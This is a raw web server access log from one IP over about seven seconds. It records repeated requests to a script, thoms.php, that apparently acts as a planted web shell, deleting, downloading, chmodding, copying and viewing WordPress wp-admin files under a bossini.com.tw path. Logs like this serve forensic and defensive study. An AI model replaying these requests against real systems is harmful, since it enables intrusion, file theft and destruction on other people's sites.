45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /bossini.com.tw/wp-admin/options-privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?del=press-this.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?del=upgrade.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /bossini.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?dl=install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 200 12060 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /bossini.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /bossini.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?dl=widgets-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fload-styles.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fload-styles.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?del=moderation.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?chmod=ms-options.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:31 -0400] "GET /thoms.php?del=options-connectors.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 200 14233 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 200 13044 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /bossini.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?del=install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29003 "http://163.245.207.76:443/thoms.php?del=install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29022 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?dl=options-head.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /bossini.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?dl=options-reading.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 200 11926 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:32 -0400] "GET /thoms.php?dl=site-health-info.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?chmod=options-reading.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 200 16113 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 200 12096 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 200 12686 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /bossini.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?dl=about.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=about.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 200 16928 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /bossini.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /bossini.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?dl=media-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /thoms.php?dl=admin-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:33 -0400] "GET /bossini.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?del=admin-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-tags.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-tags.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?dl=edit-comments.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 200 17543 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?chmod=upgrade.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?dl=options-writing.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmedia.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmedia.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-themes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-themes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 200 16389 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:34 -0400] "GET /thoms.php?del=network&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29007 "http://163.245.207.76:443/thoms.php?del=network&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 200 15655 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /bossini.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 200 20119 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?chmod=privacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?del=theme-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?chmod=user&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=user&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /bossini.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 200 27135 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?chmod=about.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?chmod=plugin-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 200 21207 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:35 -0400] "GET /bossini.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?chmod=link-manager.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?del=tools.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?del=tools.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?del=options-reading.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 200 15248 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /bossini.com.tw/wp-admin/install.php HTTP/1.1" 200 599 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?chmod=options-writing.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?chmod=update-core.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupdate-core.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupdate-core.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?chmod=update.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:36 -0400] "GET /thoms.php?chmod=async-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fprivacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fprivacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
